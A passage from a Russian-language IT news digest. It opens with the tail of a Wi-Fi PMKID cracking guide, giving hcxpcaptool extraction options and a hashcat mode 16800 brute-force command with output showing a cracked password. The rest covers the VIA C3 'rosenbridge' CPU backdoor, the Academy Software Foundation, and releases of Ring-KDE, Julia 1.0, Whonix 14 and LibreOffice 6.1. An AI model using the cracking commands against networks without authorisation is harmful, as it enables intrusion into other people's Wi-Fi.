Дополнительно при запуске hcxpcaptool можно использовать опции «-E», «-I» и ‘-U» для анализа наличия паролей, идентификаторов и имён пользователей в беспроводном трафике:

     ./hcxpcaptool -E essidlist -I identitylist -U usernamelist -z test.16800 test.pcapng  

Запускаем hashcat для подбора пароля (применяется режим 16800):

     ./hashcat -m 16800 test.16800 -a 3 -w 3 '?l?l?l?l?l?lt!'        hashcat (v4.2.0) starting...        OpenCL Platform #1: NVIDIA Corporation      ======================================      * Device #1: GeForce GTX 1080, 2028/8112 MB allocatable, 20MCU      * Device #2: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU      * Device #3: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU      * Device #4: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU        Hashes: 1 digests; 1 unique digests, 1 unique salts      Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates        Applicable optimizers:      * Zero-Byte      * Single-Hash      * Single-Salt      * Brute-Force      * Slow-Hash-SIMD-LOOP        Minimum password length supported by kernel: 8      Maximum password length supported by kernel: 63        Watchdog: Temperature abort trigger set to 90c        2582573161c61*4604d4e*89acf0e761f4*ed4824639f3a:hashcat!        Session..........: hashcat      Status...........: Cracked      Hash.Type........: WPA-PMKID-PBKDF2      Hash.Target......: 2582a8281d0e61c61*4604ba734d4e*89acf...a39f3a      Time.Started.....: Sun Aug 12 12:51:38 2018 (41 secs)      Time.Estimated...: Sun Aug 12 12:52:19 2018 (0 secs)      Guess.Mask.......: ?l?l?l?l?l?lt! [8]      Guess.Queue......: 1/1 (100.00%)      Speed.Dev.#1.....:   408.9 kH/s (103.86ms) @ Accel:64 Loops:128 Thr:1024 Vec:1      Speed.Dev.#2.....:   408.6 kH/s (104.90ms) @ Accel:64 Loops:128 Thr:1024 Vec:1      Speed.Dev.#3.....:   412.9 kH/s (102.50ms) @ Accel:64 Loops:128 Thr:1024 Vec:1      Speed.Dev.#4.....:   410.9 kH/s (104.66ms) @ Accel:64 Loops:128 Thr:1024 Vec:1      Speed.Dev.#*.....:  1641.3 kH/s      Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts      Progress.........: 66846720/308915776 (21.64%)      Rejected.........: 0/66846720 (0.00%)      Restore.Point....: 0/11881376 (0.00%)      Candidates.#1....: hariert! -> hhzkzet!      Candidates.#2....: hdtivst! -> hzxkbnt!      Candidates.#3....: gnxpwet! -> gwqivst!      Candidates.#4....: gxhcddt! -> grjmrut!      HWMon.Dev.#1.....: Temp: 81c Fan: 54% Util: 75% Core:1771MHz Mem:4513MHz Bus:1      HWMon.Dev.#2.....: Temp: 81c Fan: 54% Util:100% Core:1607MHz Mem:4513MHz Bus:1      HWMon.Dev.#3.....: Temp: 81c Fan: 54% Util: 94% Core:1683MHz Mem:4513MHz Bus:1      HWMon.Dev.#4.....: Temp: 81c Fan: 54% Util: 93% Core:1620MHz Mem:4513MHz Bus:1      

Источник: [ссылка]

Заявлено об обнаружении бэкдора в процессорах VIA C3

Кристофер Домас (Christopher Domas) представил на конференции Black Hat 2018 отчёт с анализом возможных бэкдоров ноутбутах, ПК и встраиваемых моделях процессоров на базе архитектуры x86. В том числе продемонстрирован рабочий эксплоит, активирующий аппаратный бэкдор в процессорах VIA, позволяющий из третьего кольца защиты выполнить код с привилегиями нулевого кольца через выполнение определённой последовательности машинных инструкций. Бэкдор присутствует только в линейке процессоров VIA C3, в более новых моделях проблема не проявляется.

Обычно бэкдор деактивирован и требует для активации наличие доступа к нулевому кольцу защиты, но исследователь обнаружил, что на некоторых системах по умолчанию бэкдор активен и может применяться для модификации непривилегированным пользователем любых областей памяти, в том числе памяти ядра. Для проверки своих систем на предмет наличия бэкдора и его отключения, а также для анализа других возможных бэкдоров в процессорах подготовлен набор утилит и модулей ядра.

Бэкдор представляет собой дополнительное вычислительное ядро, встроенное в процессор в дополнение к основному ядру CPU. Если основное процессорное ядро обеспечивает выполнение инструкций x86, то бэкдор оформлен как сопроцессор со своим набором инструкций. Включение и выключение сопроцессора с бэкдором производится через установку специального управляющего бита через регистр MSR (model-specific-register) с последующим выполнением специальной процессорной инструкции.

После активации появляется возможность выполнения инструкций на сопроцессоре, не ограниченных текущей системой привилегий основного процессора (проверка привилегий не выполняется) и работая в обход механизма защиты памяти. Передача команд для выполнения на сопроцессоре осуществляется через инкапсуляцию в специально оформленные x86 инструкции «bound».

Отмечается, что выявленный бэкдор, которому присвоено кодовое имя «rosenbridge», кардинально отличается от таких технологий, как ME (Management Engine) или PSP (Platform Security Processor), так как он более глубоко встроен, чем любой известный сопроцессор и имеет доступ не только ко всей памяти процессора, но и к процессорным регистрам и конвейеру выполнения.

Источник: [ссылка]

Инициатива по развитию открытого ПО для киноиндустрии

Академия кинематографических искусств и наук и Linux Foundation учредили новую организацию Academy Software Foundation, которая нацелена на продвижение использования открытого ПО в процессах создания фильмов. В состав новой организации вошли такие компании, как Animal Logic, Autodesk, Blue Sky Studios, Cisco, DNEG, DreamWorks, Epic Games, Foundry, Google Cloud, Intel, SideFX, Walt Disney Studios и Weta Digital.

Сообща данные компании намерены продвигать открытое ПО, помогать студиям в вопросах с применением открытых лицензий, управлять совместными открытыми проектами и развивать открытые технологии для создания изображений, визуальных эффектов, анимации и звука. Создание Academy Software Foundation стало итогом двухлетней совместной работы Киноакадемии и Linux Foundation, в ходе которой был проанализирован опыт применения открытого ПО в Голливуде. В результате стало ясно, что 80% голливудских студий и вовлечённых в киноиндустрию компаний применяют открытое ПО для решений тех или иных задач.

Ключевые цели Academy Software Foundation:

  • Предоставление нейтральной площадки для координации взаимодействия между разными проектами, обмена ресурсами и накопления передового опыта в областях, связанных с медиаиндустрией и кинопроизводством;
  • Разработка открытой платформы непрерывной интеграции и сборочной инфраструктуры для создания эталонных сборок и упрощения выявления проблем;
  • Предоставление независимым разработчикам и компаниям простого пути для участия в разработке и передаче кода;
  • Оптимизация разработки сборочных и runtime окружений, благодаря созданию типовых сборочных конфигураций, скриптов и рекомендаций;
  • Обеспечения качества и совместимости применяемых лицензий за счёт разработки типовых схем лицензирования.

Источник: [ссылка]

Выпуск децентрализованного коммуникационного клиента Ring-KDE 3.0.0

Представлен релиз Ring-KDE 3.0.0, альтернативной реализации клиента децентрализованной коммуникационной платформы Ring, развиваемой проектом KDE на базе технологий KDE (основной клиент Ring базируется на GTK+). Для загрузки подготовлены самодостаточные сборки в формате AppImage.

Новая версия Ring-KDE по сути является новым полностью переписанным приложением, предлагающим иной интерфейс пользователя и построенным на базе более современных технологий, таких как QtQuick2 и адаптивный набор виджетов KDE Kirigami. В новой версии также обеспечена полноценная поддержка управления с сенсорных экранов.

В интерфейсе совершения звонка добавлено отображение наиболее релевантных адресатов по мере набора имени абонента. Добавлена поддержка вызова сразу нескольких абонентов, перевода звонка в режим ожидания и создания архивной записи разговора. Существенно улучшена поддержка видеозвонков, предоставления совместного доступа к экрану и передачи файлов.

Помимо лога в форме чата представлена концепция навигации по шкале времени, позволяющая просматривать историю голосовых вызовов, видеозвонков, сообщений и другой активности пользователя. Центральным звеном системы навигации теперь является поисковая строка, позволяющая быстро найти адресата по части его имени. По умолчанию изменения и содержимое личной адресной книги сохраняется только на локальной системе и не передаётся в облако. Имеется опция для кэширования содержимого глобальной адресной книги.

Также можно отметить новый выпуск основной платформы Ring, в котором добавлены функции записи видео- и аудиовызовов, реализована поддержка push-уведомлений, проведена работа по улучшению качества, безопасности и стабильности. Напомним, что платформа Ring позволяет передавать сообщения без обращения к внешним серверам через организацию прямого P2P-соединения между пользователями с применением оконечного шифрования (End-to-end, ключи присутствуют только на стороне клиента) и аутентификации на основе сертификатов X.509.

Поддерживается защищённый обмен сообщениями, голосовые и видео-звонки, телеконференции, отправка файлов, совместный доступ к файлам и содержимому экрана. Для идентификации пользователя в Ring применяется децентрализованный глобальный механизм аутентификации учётных записей, основанный на реализации адресной книги в форме блокчейна (применяются наработки проекта Ethereum). Для адресации пользователей в Ring применяется протокол OpenDHT (распределённая хэш таблица), без применения централизованных реестров c информацией о пользователях.

Источник: [ссылка]

Увидел свет язык программирования Julia 1.0

Спустя шесть лет с момента первого анонса сформирован первый стабильный релиз языка программирования Julia 1.0, сочетающего такие качества как высокая производительность, поддержка динамической типизации и встроенные средства для параллельного программирования. Синтаксис Julia близок к MATLAB с заимствованием некоторых элементов из Ruby и Lisp. Метод манипуляции строками напоминает Perl. Код проекта распространяется под лицензией MIT.

Ключевые особенности языка:

  • Высокая производительность: одной из ключевых целей проекта является достижение производительности близкой к программам на языке Си. Компилятор Julia основан на наработках проекта LLVM и генерирует эффективный нативный машинный код для многих целевых платформ;
  • Поддержка различных парадигм программирования, включая элементы объектно-ориентированного и функционального программирования. Стандартная библиотека предоставляет в том числе функции для асинхронного ввода/вывода, управления процессами, ведения логов, профилирования и управления пакетами;
  • Динамическая типизация: язык не требует явное определение типов для переменных по аналогии со скриптовыми языками программирования. Поддерживается интерактивный режим работы;
  • Опциональная возможность явного указания типов;
  • Синтаксис, превосходно подходящий для численных вычислений, научных расчётов, систем машинного обучения и визуализации данных. Поддержка многих числовых типов данных и средства для распараллеливания вычислений.
  • Возможность прямого вызова функций из библиотек на языке Си без дополнительных прослоек.

Кроме стабилизации языка в Julia 1.0 также представлено несколько новшеств, среди которых новый встроенный пакетный менеджер Pkg, позволяющий не только манипулировать репозиториями и устанавливать пакеты и связанные с ними зависимости, но и создавать привязанные к проектам окружения пакетов, записывать и воссоздавать состояние работающего приложения, использовать приватные пакеты. Для переменных добавлено новое значение «missing», определяющее отсутствующее значение. Встроенные тип String адаптирован для хранения произвольных данных. Добавлена поддержка именованных кортежей (похожи на хэши в Perl). Добавлена возможность переопределения оператора «точка». Расширены возможности оптимизатора.

Источник: [ссылка]

Доступен Whonix 14, дистрибутив для обеспечения анонимных коммуникаций

После более двух лет разработки представлен релиз дистрибутива Whonix 14, нацеленного на предоставление гарантированной анонимности, безопасности и защиты частной информации. Загрузочные образы Whonix сформированы для VirtualBox, KVM и для использования в операционной системе Qubes. Образ гостевой системы Whonix-Gateway занимает 1.7 GB, а Whonix-Workstation — 2 GB. Наработки проекта распространяются под лицензией GPLv3.

Дистрибутив основан на Debian GNU/Linux и использует Tor для обеспечения анонимности. Особенностью Whonix является разделение дистрибутива на два отдельно устанавливаемых компонента — Whonix-Gateway с реализацией сетевого шлюза для анонимных коммуникаций и Whonix-Workstation с рабочим столом. Выход в сеть из окружения Whonix-Workstation производится только через шлюз Whonix-Gateway, что изолирует рабочее окружение от прямого взаимодействия с внешним миром и допускает использование только фиктивных сетевых адресов. Подобный подход позволяет защитить пользователя от утечки реального IP-адреса в случае взлома web-браузера и даже при эксплуатации уязвимости, дающей атакующему root-доступ к системе.

Взлом Whonix-Workstation позволят атакующему получить только фиктивные сетевые параметры, так как реальный IP и параметры DNS скрыты за границей сетевого шлюза, который направляет трафик только через Tor. При этом следует учитывать, что компоненты Whonix рассчитаны на запуск в форме гостевых систем, т.е. не исключена возможность эксплуатации критических 0-day уязвимостей в платформах виртуализации, которые могут предоставить доступ к хост-системе. В связи с этим, не рекомендуется запускать Whonix-Workstation на том же компьютере, что и Whonix-Gateway.

В Whonix-Workstation по умолчанию предоставляется пользовательское окружение KDE. В поставку включены такие программы, как , VLC, Tor Browser (Firefox), Thunderbird+TorBirdy, Pidgin и т.д. В поставке Whonix-Gateway можно найти набор серверных приложений, в том числе Apache httpd, ngnix и IRC-серверы, которые могут использоваться для организации работы скрытых сервисов Tor. Возможен проброс поверх Tor туннелей для Freenet, i2p, JonDonym, SSH и VPN. Сравнение Whonix с Tails, Tor Browser, Qubes OS TorVM и corridor можно найти на данной странице. При желании, пользователь может обойтись только Whonix-Gateway и подключить через него свои обычные системы, в том числе Windows, что даёт возможность обеспечить анонимный выход для уже находящихся в обиходе рабочих станций.

Основные новшества:

  • Пакетная база дистрибутива обновлена до Debian 9 (stretch);
  • Прекращено формирование 32-разрядных сборок, начиная с Whonix 14 теперь публикуются только 64-разрядные сборки (amd64);
  • Добавлен новый мастер настройки анонимного соединения Anon Connection Wizard для упрощения подключения к сети Tor через Tor bridge или прокси (выполняет функции похожие на Tor-launcher);
  • Добавлена поддержка Tor-транспорта meek_lite, существенно упрощающего подключкние к tor в странах с жесткой цензурой. Для обхода блокировок транспорт meek использует проброс через крупные СDN и облачные платформы, такие как Microsoft Azure;
  • В поставку по умолчанию добавлено приложение Onioncircuits с реализацией GTK-интерфейса для наглядного отображения цепочек и потоков Tor;
  • Из Tails перенесена программа onion-grater для обеспечения совместимости OnionShare, Ricochet и Zeronet с Whonix;
  • В качестве приоритетных источников загрузки обновлений теперь используются onion-сервисы;
  • Примерно на 35% сокращён размер образов для VirtualBox (.ova) и KVM (.qcow2), благодаря применению zerofree;
  • Инструментарий Tor обновлён до выпуска 3.3.3.7. Обеспечена полная поддержка третьей версии протокола скрытых сервисов;
  • Реализован пакет grub-live, позволяющий запустить Whonix в качестве live-системы на платформах, отличных от Qubes-Whonix;
  • Для повышения защищённости усилены профили AppArmor для Tor Browser, obfsproxy и других приложений.

Источник: [ссылка]

Выпуск офисного пакета LibreOffice 6.1

Организация The Document Foundation опубликовала релиз офисного пакета LibreOffice 6.1. Готовые установочные пакеты подготовлены для различных дистрибутивов Linux, Windows и macOS, а также в редакции для развёртывания online-версии в Docker.

Ключевые новшества:

  • При использовании бэкенда GTK3 в диалоговых окнах теперь применяются штатные диалоги сообщений GTK+ 3, вместо диалогов, симулируемых подсистемой VCL (Visual Components Library) с использованием элементов тем оформления GTK. Для обеспечения локализации использованы штатные файлы .mo вместо собственного формата поставки переводов;

    Было:

    Стало:

  • Существенно улучшена работа всех модулей облачной редакции LibreOffice Online для организации совместной удалённой работы с офисным пакетом через Web. В том числе модернизирован и приближен к десктоп-версии интерфейс пользователя, для web релизованы многие штатные диалоги из обычной версии. Переработан код обработки событий от клавиатуры и мыши для исключения возможных подвисаний. Улучшен код остановки и записи сеансов. Унифицирована с настольной версией поддержка локализации и интернационализации.

    В консоли администратора LibreOffice Online появилась поддержка аутентификации через PAM. Добавлена поддержка создания диаграмм (в Writer, Calc и Impress). Реализовано контекстное меню для проверки правописания. Увеличена производительность большинства диалогов и режимов работы Writer и Calc. В Impress добавлены диалоги управления размером и позицией, выбора типов линий и фигур. Добавлена поддержка сворачивания и раскрытия в один клик любых групп столбцов и строк;

  • Изменения в Writer:
    • В контекстное меню в подменю «Стили» добавлены основные стили списков;
    • В меню управления верхним и нижним колонтитулами добавлена опция для вставки номера страницы;
    • Существенно увеличена производительность преобразования между простыми документами в форматах ODT и XHTML;
    • Добавлено меню «Insert ▸ Signature Line» для быстрой генерации строки с подписью;
    • В качестве подписи для заверения документа в том числе можно использовать цифровой сертификат;
    • Расширена поддержка экспорта в формат EPUB. Улучшен экспорт ссылок, таблиц, изображений и встроенных шрифтов. Добавлена поддержка изображения обложек. Улучшена обработка метаданных, примечаний и всплывающих изображений. Обеспечена возможность экспорта вертикально размещённого текста;
    • Обеспечено автоматическое отображение панели мастера подготовки писем для рассылки (Mail merge) для файлов, содержащих соответствующие поля;
    • Реализовано несколько стилей нумерации глав: ординарные индиаторы (1-й, 2-й, 3-й…), кардинальные (один, два, три…) и порядковые номера (первый, второй, третий…). Стили нумерации локализованы для более чем 30 языков при помощи libnumbertext. Обеспечена поддержка импорта и экспорта подобных стилей из/в DOCX. Возможно применение стилей нумерации для последовательностей и номеров страниц;
  • Изменения в Calc:
    • Существенно улучшена обработка изображений. Переработаны типы привязки изображений (возможна привязка к ячейке c перемещением изображения вместе с ячейкой (по умолчанию) или масштабированием вместе с ячейкой и привязка к странице, независимо от каких-либо ячеек). При масштабировании изображения вместе с ячейкой теперь учитывается коэффициент соотношения сторон. При копировании ячеек через буфер обмена прикреплённые изображения теперь копируются вместе с ячейкой.

      Обеспечена возможность сортировки изображений, прикреплённых к ячейкам.

    • Реализована возможность настройки цветов, применяемых для подсветки;
    • В контекстное меню добавлены новые команды «Manage Name», «Data Validation» и «Conditional Formatting». Обеспечен вывод контекстного меню в поле ввода формул;
    • Переработан диалог слияния ячеек;
    • В меню «Sheet ▸ Link to External Data» добавлена поддержка вставки и обновления данных из текстового файла в формате CSV;
    • Обеспечено параллельное вычисление формул на многоядерных CPU;
    • Значительно увеличена производительность функции VLOOKUP();
  • В Draw проведена реорганизация меню и добавлено новое меню «Page». Добавлены новые стили рисования и модернизированы старые стили;
  • При вставке изображений в Calc, Draw и Impress теперь выводится запрос на поворот в соответствии с параметрами ориентации в метаданных EXIF;
  • Добавлена новая опция «AddReplacementImages» для управления добавлением запасного (fallback) изображения при экспорте;
  • Полностью переработаны фоновые изображения в галерее и диалоге для заливки областей;
  • Добавлена новая палитра RYB Standard, основанная на цветовой модели RYB;
  • Представлен новый набор градиентных заливок, предлагаемых по умолчанию;
  • Переработаны пиктограммы компонентов LibreOffice;
  • Для Windows по умолчанию предложен новый набор пиктограмм Colibre;
  • В окружениях на базе GNOME по умолчанию предложен набор пиктограмм Elementary (ранее использовался набор Tangpo);
  • Удалены темы пиктограмм Industrial и Oxygen, так как они остались без сопровождения и не поддерживают SVG;
  • Добавлен новый набор пиктограмм Karasa Jaga, созданный разработчиками Sundara OS на базе темы Oxygen;
  • Представлена серия значительных изменений в Base, которые пока доступны только в экспериментальном режиме. Объявлен устаревшим старый движок HSQLDB, вместо которого по умолчанию предложен движок на базе СУБД Firebird (для миграции с HSQLDB на Firebird в состав включен специальный мастер);
  • Расширена встроенная подсказка, в которую добавлены дополнительные поримеры и руковоства по возможностям офисного пакета;
  • Переработан код обработки изображений. Объявлен устаревшим доступ ко встроенным изображениям по URL. Добавлена возможность загрузки изображений из файлов в формате OOXML и MSO не сразу, а по мере возникновения необходимости. Проведена оптимизация потребления памяти и производительности при обработке изображений;
  • Для платформ Linux и macOS добавлена поддержка подтверждения документа цифровой подписью (как подписывание, так и верификаций) с использованием ключей на базе эллиптических кривых (ECDSA);
  • Заменён фильтр импорта из формата Excel 2003 XML: вместо ранее применяемого фильтра на базе XSLT задействован новый на основе библиотеки orcus;
  • Фильтр для работы с форматом SVG переведён на использование SVGIO вместо SVGFilter;
  • Добавлены новые возможности для упрощения настройки содержимого панелей инструментов и меню первого уровня. Добавлен новый диалог кастомизации интерфейса ((Tools ▸ Customize…) при помощи которого можно переименовывать панели, меню и подменю, перемещать элементы и менять параметры группировки, просматривать и менять стиль панелей, добавлять новые меню первого уровня и панели;

Источник: [ссылка]